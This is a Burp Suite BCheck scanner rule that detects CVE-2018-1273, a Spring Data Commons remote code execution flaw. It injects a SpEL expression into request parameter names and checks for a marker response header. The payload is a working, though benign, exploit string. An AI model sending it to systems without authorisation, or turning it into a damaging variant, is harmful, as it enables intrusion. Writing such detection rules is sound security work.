CVE-2018-1273-spring_data_commons_rce.bcheck

metadata:
    language: v1-beta
    name: "CVE-2018-1273 Spring Data Commons RCE"
    description: "Spring Data Commons RCE (CVE-2018-1273)"
    author: "timeshatter"
    tags: "Spring Data Commons RCE","CVE-2018-1273"

define:
    poc="[#this.getClass().forName('org.springframework.web.context.request.RequestContextHolder').getRequestAttributes().getResponse().addHeader('vuln', 'True')]"
    answer="vuln: True"

given request then
    send request:
        replacing body: {regex_replace({base.request.body},"(\w+)=",`$1{poc}=`)}

    if {answer} in {latest.response} then
        report issue:
            severity: high
            confidence: certain
            detail: "The application transforms input in a way that suggests it might be
                         vulnerable to Spring Data Commons RCE (CVE-2018-1273)."
            remediation: "Manual investigation is advised."
    end if